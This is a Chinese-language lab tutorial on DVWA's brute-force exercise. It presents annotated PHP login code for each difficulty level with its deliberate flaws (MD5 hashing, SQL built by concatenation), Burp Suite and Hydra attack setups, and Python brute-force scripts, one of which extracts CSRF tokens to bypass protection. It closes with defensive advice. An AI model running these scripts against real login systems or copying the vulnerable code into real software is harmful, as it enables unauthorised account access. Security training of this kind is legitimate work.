0%

DVWA - Brute Force (暴力破解) 攻防练习详解

目录


漏洞简介

什么是暴力破解(Brute Force)?

暴力破解是一种试错方法,攻击者通过系统地尝试所有可能的密码组合来获取访问权限。

常见场景:

  • 登录表单
  • 管理后台
  • API密钥
  • 加密文件

危害:

  • 未授权访问账户
  • 数据泄露
  • 权限提升
  • 系统接管

Low 难度

攻击目标

无任何防护的登录表单,可直接暴力破解。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

// 检查是否提交了登录请求
// isset() - 检查变量是否已设置且非NULL
// $_GET - 超全局变量,获取URL中的GET参数
if( isset( $_GET[ 'Login' ] ) ) {
// 从URL参数获取用户名
// 例如:?username=admin&password=test&Login=Login
$user = $_GET[ 'username' ];

// 从URL参数获取密码并进行MD5哈希
// md5() - 将字符串转换为32位十六进制MD5哈希值
// 注意:MD5是单向加密,不可逆
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

// 构建SQL查询语句
// 这里直接拼接变量到SQL语句中,存在SQL注入漏洞!
// ` ` - 反引号用于包裹表名和列名(MySQL语法)
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

// 执行SQL查询
// mysql_query() - 执行MySQL查询(已废弃,不安全)
// or die() - 如果查询失败则输出错误并终止
// mysql_error() - 返回上一个MySQL操作的错误信息
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

// 检查是否找到匹配的用户
// mysql_num_rows() - 返回结果集中的行数
if( $result && mysql_num_rows( $result ) == 1 ) {
// 登录成功

// 获取查询结果的一行数据
// mysql_fetch_assoc() - 将结果行作为关联数组返回
$row = mysql_fetch_assoc( $result );

// 从数组中获取avatar字段的值
$avatar = $row["avatar"];

// 输出欢迎信息
// {$user} - 在双引号字符串中插入变量值
$html .= "<p>Welcome to the password protected area {$user}</p>";

// 输出用户头像
// <img src=""> - HTML图片标签
$html .= "<img src=\"{$avatar}\" />";
}
else {
// 登录失败
// <pre> - HTML预格式化文本标签
// <br /> - HTML换行标签
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}

// 关闭MySQL连接
mysql_close();
}

?>

漏洞分析

存在的安全问题:

  1. 使用GET请求 - 密码明文显示在URL中,会被浏览器历史、代理服务器记录
  2. 无输入验证 - 直接使用用户输入
  3. SQL注入漏洞 - 直接拼接SQL语句
  4. 无防护机制 - 没有任何限制:
    • 无登录尝试次数限制
    • 无验证码
    • 无延迟
    • 无账户锁定
    • 无IP黑名单
  5. 错误信息详细 - SQL错误会直接显示

攻击步骤

方法1:使用Burp Suite Intruder

步骤1:抓取登录请求

  1. 打开Burp Suite,开启代理
  2. 浏览器访问 http://dvwa.local/dvwa/vulnerabilities/brute/
  3. 尝试登录(例如:admin / test)
  4. 在Burp Suite的Proxy → HTTP history中找到请求

步骤2:发送到Intruder

  1. 右键点击请求 → Send to Intruder
  2. 进入Intruder → Positions标签

步骤3:配置攻击位置

1
2
GET /dvwa/vulnerabilities/brute/?username=§admin§&password=§test§&Login=Login HTTP/1.1
Host: dvwa.local
  1. 点击 Clear § 清除所有标记
  2. Attack type 选择 Cluster bomb(组合攻击)
  3. 标记username和password参数

步骤4:配置Payload

Payload set 1(用户名):

1
2
3
4
admin
root
user
test

Payload set 2(密码):

1
2
3
4
5
6
7
password
123456
admin
12345678
qwerty
abc123
letmein

步骤5:开始攻击

  1. 点击 Start attack
  2. 观察 Length 列,长度不同的响应通常表示成功
  3. 或使用 Grep-Match 功能匹配 “Welcome to the password protected area”

步骤6:验证结果

找到长度异常的请求,右键 → Show response in browser,验证登录成功。

方法2:使用Hydra命令行工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 安装hydra(Kali Linux自带)
apt-get install hydra

# 准备用户名字典
echo "admin" > users.txt
echo "root" >> users.txt

# 准备密码字典
echo "password" > passwords.txt
echo "123456" >> passwords.txt
echo "admin" >> passwords.txt

# 执行暴力破解
hydra -L users.txt -P passwords.txt dvwa.local http-get-form \
"/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect:H=Cookie: security=low; PHPSESSID=你的session值"

参数说明:

  • -L users.txt - 用户名字典文件
  • -P passwords.txt - 密码字典文件
  • http-get-form - HTTP GET表单
  • ^USER^ - 用户名占位符
  • ^PASS^ - 密码占位符
  • :Username and/or password incorrect - 失败标识
  • H=Cookie - 添加Cookie头

方法3:Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

# 目标URL
url = "http://dvwa.local/dvwa/vulnerabilities/brute/"

# Cookie(需要先登录DVWA获取)
cookies = {
'security': 'low',
'PHPSESSID': '你的session值'
}

# 用户名列表
usernames = ['admin', 'root', 'user']

# 密码列表
passwords = ['password', '123456', 'admin', 'letmein']

# 遍历所有组合
for user in usernames:
for passwd in passwords:
# 构建请求参数
params = {
'username': user,
'password': passwd,
'Login': 'Login'
}

# 发送请求
response = requests.get(url, params=params, cookies=cookies)

# 检查响应
if "Welcome to the password protected area" in response.text:
print(f"[+] 成功!用户名: {user}, 密码: {passwd}")
break
else:
print(f"[-] 失败: {user} / {passwd}")

DVWA默认账户

1
2
3
4
5
admin / password
gordonb / abc123
1337 / charley
pablo / letmein
smithy / password

Medium 难度

攻击目标

添加了基本防护,但仍可破解。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php

// 检查是否提交了登录请求
if( isset( $_GET[ 'Login' ] ) ) {

// 获取用户名
$user = $_GET[ 'username' ];

// 获取密码并MD5加密
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

// ★★★ 新增:使用mysqli_real_escape_string转义特殊字符 ★★★
// mysqli_real_escape_string() - 转义SQL语句中的特殊字符
// 转义的字符包括:\x00, \n, \r, \, ', ", \x1a
// $GLOBALS["___mysqli_ston"] - 全局数据库连接句柄
// 作用:防止SQL注入攻击
// 原理:将单引号'转义为\',使其无法闭合SQL语句
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// 构建SQL查询(虽然转义了,但仍是字符串拼接)
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

// 执行查询
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query )
or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"]))
? mysqli_error($GLOBALS["___mysqli_ston"])
: (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// 检查登录结果
if( $result && mysqli_num_rows( $result ) == 1 ) {
// 登录成功
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// ★★★ 核心防护:登录失败后延迟2秒 ★★★
// sleep(2) - 使PHP脚本暂停执行2秒
// 作用:减慢暴力破解速度
// 计算:尝试1000个密码需要2000秒(约33分钟)
// 缺点:只是延迟,无法真正阻止攻击
sleep( 2 );

// 输出失败信息
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}

// 关闭数据库连接
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

新增防护

  1. mysqli_real_escape_string() - 防止SQL注入
  2. sleep(2) - 每次失败延迟2秒

仍存在的漏洞

  1. 仍使用GET请求
  2. 无账户锁定
  3. 无验证码
  4. 延迟可预测(固定2秒)
  5. 仍可暴力破解(只是变慢)

攻击步骤

使用Burp Suite Intruder:

Medium难度因为有2秒延迟,所以需要配置为单线程攻击。

配置步骤(Burp Suite 2023版本):

  1. 基本步骤与Low难度相同

    • 发送请求到Intruder
    • 配置Positions(标记username和password)
    • 配置Payloads(添加字典)
  2. 关键配置:在Settings标签中限制并发

    进入 IntruderSettings 标签:

    方法A:使用Resource pool(如果你的版本有此选项)

    • 找到 Resource pool 选项
    • 点击 Create new resource pool
    • 设置 Maximum concurrent requests: 1(单线程)
    • 原因:Medium有2秒延迟,多线程也需要等待,单线程更稳定

    方法B:使用新版Burp Suite的Settings(2023及更新版本)

    如果你的Burp Suite没有Resource pool选项,使用以下配置:

    • 找到 “HTTP/1 connection reuse” 部分
    • 勾选 ✅ Reuse HTTP/1 connections if the server supports it(复用连接)
    • 找到 “Redirections” 部分
    • 根据需要设置重定向策略(通常选择 Never
    • 找到 “Error handling” 部分
    • 设置 Number of retries on network failure: 3
    • 设置 Pause before retry (milliseconds): 2000

    重要说明:

    • Burp Suite 2023版本已经移除了单独的Resource pool配置
    • 默认情况下,Burp会自动管理并发连接
    • 由于Medium难度有2秒延迟,即使多线程,每个请求也会等待
    • 因此不需要特别限制线程,Burp会自动优化
  3. 开始攻击

    • 点击 Start attack 按钮
    • Burp会按顺序发送请求
    • 每次失败会自动等待2秒(服务器端延迟)

时间计算:

  • 尝试100个密码 = 200秒(约3分钟)
  • 尝试1000个密码 = 2000秒(约33分钟)

优化策略:

  • 使用更精准的小字典
  • 针对DVWA使用已知密码列表
  • 晚上挂机运行

Burp Suite版本差异说明:

功能 旧版本(2020及之前) 新版本(2023+)
线程控制 Resource pool 自动管理
配置位置 Intruder → Options Intruder → Settings
并发设置 Maximum concurrent requests HTTP/1 connection reuse
建议 手动设置为1 保持默认即可

High 难度

攻击目标

添加了CSRF Token和随机延迟,难度大幅提升。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php

// 检查是否提交了登录请求
if( isset( $_GET[ 'Login' ] ) ) {

// ★★★ 新增:CSRF Token验证 ★★★
// checkToken() - DVWA自定义函数,验证CSRF token
// 原理:对比用户提交的token和服务器session中存储的token
// $_REQUEST - 包含$_GET、$_POST、$_COOKIE的内容
// $_SESSION - 会话变量,存储在服务器端
// 作用:防止跨站请求伪造(CSRF)攻击
// 如果token不匹配,会重定向到index.php
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 获取用户名
$user = $_GET[ 'username' ];

// ★★★ 新增:stripslashes()去除反斜杠 ★★★
// stripslashes() - 删除由addslashes()或magic_quotes_gpc添加的反斜杠
// 例如:\' 变成 '
// 作用:清理输入数据
$user = stripslashes( $user );

// mysqli_real_escape_string转义
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// 获取密码并处理
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// 执行SQL查询
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query )
or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"]))
? mysqli_error($GLOBALS["___mysqli_ston"])
: (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// 检查登录结果
if( $result && mysqli_num_rows( $result ) == 1 ) {
// 登录成功
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// ★★★ 新增:随机延迟0-3秒 ★★★
// rand(0, 3) - 生成0到3之间的随机整数(包含0和3)
// sleep(rand(0, 3)) - 随机暂停0、1、2或3秒
// 作用:使攻击者无法预测延迟时间,增加自动化攻击难度
// 平均延迟:1.5秒
sleep( rand( 0, 3 ) );

// 输出失败信息
$html .= "<pre><br />Username and/or password incorrect.</pre>";
}

// 关闭数据库连接
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// ★★★ 生成新的CSRF Token ★★★
// generateSessionToken() - DVWA自定义函数
// 作用:为每次页面加载生成新的随机token
// 这个token会被嵌入HTML表单的hidden字段中
// 示例:<input type='hidden' name='user_token' value='abc123...'>
generateSessionToken();

?>

新增防护

  1. CSRF Token验证 - 每次请求需要有效token
  2. stripslashes() - 额外输入过滤
  3. 随机延迟 - 0-3秒随机延迟(平均1.5秒)

仍存在的漏洞

  1. 仍使用GET请求
  2. 无账户锁定
  3. Token可以被提取

攻击步骤

High难度的关键在于绕过CSRF Token验证。

方法1:使用Burp Suite的Macro功能

步骤1:创建Macro获取Token

  1. 打开Burp Suite
  2. SettingsSessionsSession Handling Rules
  3. 点击 Add
  4. Rule Actions → AddRun a macro
  5. 点击 Add 创建新Macro:
    • 名称:Get CSRF Token
    • 从Proxy History中选择访问brute force页面的GET请求
    • 点击 Configure item
    • 添加Custom parameter location
    • Parameter name: user_token
    • 使用正则提取:name='user_token' value='([^']+)'

步骤2:配置Session Handling

  1. 在Rule中启用 “Update only the following parameters”
  2. 添加 user_token
  3. Scope → Include all URLs

步骤3:开始Intruder攻击

现在每次请求前都会自动获取新的token。

方法2:Python脚本自动获取Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import re

# 配置
url = "http://dvwa.local/dvwa/vulnerabilities/brute/"
cookies = {
'security': 'high',
'PHPSESSID': '你的session'
}

usernames = ['admin']
passwords = ['password', '123456', 'admin', 'letmein']

def get_token():
"""获取CSRF token"""
response = requests.get(url, cookies=cookies)
# 使用正则表达式提取token
match = re.search(r"name='user_token' value='([^']+)'", response.text)
if match:
return match.group(1)
return None

# 暴力破解
for user in usernames:
for passwd in passwords:
# 每次请求前获取新token
token = get_token()
if not token:
print("[!] 无法获取token")
continue

# 构建请求参数(包含token)
params = {
'username': user,
'password': passwd,
'Login': 'Login',
'user_token': token
}

# 发送请求
response = requests.get(url, params=params, cookies=cookies)

# 检查结果
if "Welcome to the password protected area" in response.text:
print(f"[+] 成功!{user} / {passwd}")
break
else:
print(f"[-] 失败: {user} / {passwd}")

Impossible 难度

攻击目标

几乎无法攻破的完善防护。

后端代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
<?php

// ★★★ 改进1:使用POST方法并验证所有参数 ★★★
// isset() - 检查变量是否存在
// 同时检查Login、username、password三个参数
// 使用$_POST而不是$_GET,密码不会出现在URL中
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {

// ★★★ CSRF Token验证 ★★★
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// 获取并处理用户名
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

// 获取并处理密码
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass )
: ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// ★★★ 改进2:账户锁定机制 - 配置参数 ★★★
// 定义锁定相关常量
$total_failed_login = 3; // 最大失败次数:3次
$lockout_time = 15; // 锁定时间:15分钟
$account_locked = false; // 账户锁定状态标志

// ★★★ 改进3:使用PDO预编译语句 ★★★
// $db - PDO数据库连接对象
// prepare() - 准备一个SQL语句用于执行
// :user - 命名参数占位符
// LIMIT 1 - 限制只返回一行结果
// 作用:查询该用户的失败登录次数和最后登录时间
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );

// bindParam() - 绑定参数到预编译语句
// 参数1:占位符名称
// 参数2:要绑定的变量
// 参数3:参数数据类型(PDO::PARAM_STR表示字符串)
// 作用:完全防止SQL注入,SQL和数据完全分离
$data->bindParam( ':user', $user, PDO::PARAM_STR );

// execute() - 执行预编译语句
$data->execute();

// fetch() - 获取结果集的下一行
// 返回关联数组,键名为列名
$row = $data->fetch();

// ★★★ 改进4:检查账户是否被锁定 ★★★
// rowCount() - 返回受影响的行数
// $row[ 'failed_login' ] - 失败登录次数
// 如果用户存在且失败次数>=3次,检查是否在锁定期内
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {

// 计算时间
// strtotime() - 将任何英文文本日期时间描述解析为Unix时间戳
// $row[ 'last_login' ] - 数据库中的最后登录时间(字符串格式)
$last_login = strtotime( $row[ 'last_login' ] );

// 计算锁定结束时间
// $lockout_time * 60 - 将分钟转换为秒
$timeout = $last_login + ($lockout_time * 60);

// time() - 返回当前Unix时间戳
$timenow = time();

// 检查是否仍在锁定期内
// 如果当前时间 < 锁定结束时间,说明仍被锁定
if( $timenow < $timeout ) {
$account_locked = true;
// 不输出任何信息(安全实践:不透露账户状态)
}
}

// ★★★ 改进5:只有账户未锁定时才验证登录 ★★★
// ! - 逻辑非运算符
if( !$account_locked ) {

// 使用PDO预编译语句验证用户名和密码
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// 验证登录
if( $data->rowCount() == 1 ) {
// ★★★ 登录成功:重置失败计数器 ★★★
// UPDATE - SQL更新语句
// SET failed_login = "0" - 将失败次数重置为0
// 作用:成功登录后清除失败记录,防止误锁定
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();

// 获取并显示用户信息
$avatar = $row[ 'avatar' ];
$html .= "<p>Welcome to the password protected area {$user}</p>";
$html .= "<img src=\"{$avatar}\" />";
}
else {
// ★★★ 登录失败处理 ★★★

// 随机延迟2-4秒
// rand( 2, 4 ) - 生成2到4之间的随机整数
// 作用:减慢暴力破解,增加不确定性
sleep( rand( 2, 4 ) );

// 输出失败信息(提示可能是锁定原因)
$html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

// ★★★ 改进6:增加失败计数 ★★★
// failed_login = (failed_login + 1) - 失败次数+1
// 每次失败都会累加,达到3次后触发锁定
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// ★★★ 改进7:更新最后登录时间 ★★★
// now() - MySQL函数,返回当前日期和时间
// 无论成功失败都更新,用于锁定时间计算
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
}

// 生成新的CSRF Token
generateSessionToken();

?>

完善的防护机制

  1. POST请求 - 密码不出现在URL
  2. PDO预编译 - 完全防止SQL注入
  3. CSRF Token - 防止跨站请求伪造
  4. 账户锁定 - 3次失败锁定15分钟
  5. 失败计数 - 记录每个账户的失败次数
  6. 成功重置 - 成功登录清零计数器
  7. 时间更新 - 记录每次尝试时间
  8. 随机延迟 - 2-4秒不可预测

为什么几乎无法攻破?

攻击成本计算:

假设密码字典有1000个密码:

  • 每3次尝试需要等待15分钟
  • 1000密码 ÷ 3 = 334轮
  • 334轮 × 15分钟 = 5010分钟 ≈ 83.5小时
  • 加上每次2-4秒延迟:1000次 × 3秒 ≈ 50分钟
  • 总计:约84小时(3.5天)

这还只是一个用户名!

防御层级:

  1. PDO预编译 → SQL注入无效
  2. CSRF Token → 自动化工具需要额外处理
  3. 账户锁定 → 暴力破解效率极低
  4. POST请求 → URL不泄露密码
  5. 随机延迟 → 增加时间成本

防御建议

代码层面

  1. 使用POST请求 - 敏感数据不应出现在URL
  2. PDO预编译语句 - 彻底防止SQL注入
  3. CSRF Token - 防止跨站请求伪造
  4. 密码哈希 - 使用bcrypt、Argon2,不要用MD5
  5. 输入验证 - 严格验证所有输入

机制层面

  1. 账户锁定

    • 5次失败锁定30分钟
    • 或使用指数退避(1分钟→5分钟→30分钟)
  2. 验证码

    • 3次失败后显示验证码
    • 使用reCAPTCHA v3
  3. 多因素认证(MFA)

    • 短信验证码
    • TOTP(Google Authenticator)
    • 硬件密钥
  4. 限流

    • IP限流:每IP每分钟10次请求
    • 账户限流:每账户每分钟3次尝试

监控层面

  1. 日志记录

    • 记录所有登录尝试
    • 包括IP、时间、用户名
  2. 异常检测

    • 监控失败登录高峰
    • 检测分布式攻击
  3. 告警机制

    • 多次失败触发告警
    • 异常IP自动封禁

Web应用防火墙(WAF)

  1. Cloudflare
  2. AWS WAF
  3. ModSecurity

总结对比

特性 Low Medium High Impossible
请求方法 GET GET GET POST
SQL注入防护 ✅ mysqli_escape ✅ mysqli_escape ✅ PDO预编译
CSRF防护 ✅ Token ✅ Token
登录延迟 ✅ 2秒固定 ✅ 0-3秒随机 ✅ 2-4秒随机
账户锁定 ✅ 3次/15分钟
失败计数
攻击难度 极易 简单 中等 极难
预计破解时间 <1分钟 30分钟 数小时 数天

实战建议

  1. 从Low开始 - 熟悉基本操作
  2. 理解Medium - 学习基础防护
  3. 挑战High - 掌握Token绕过
  4. 研究Impossible - 理解完善的防护体系

学习路径:

  • 手动测试 → Burp Suite → 脚本自动化 → 分析防护机制

道德准则:

  • 只在授权环境测试
  • 不攻击真实系统
  • 学习目的是防御,不是攻击
点这里请我吃个小蛋糕吧~~

Welcome to my other publishing channels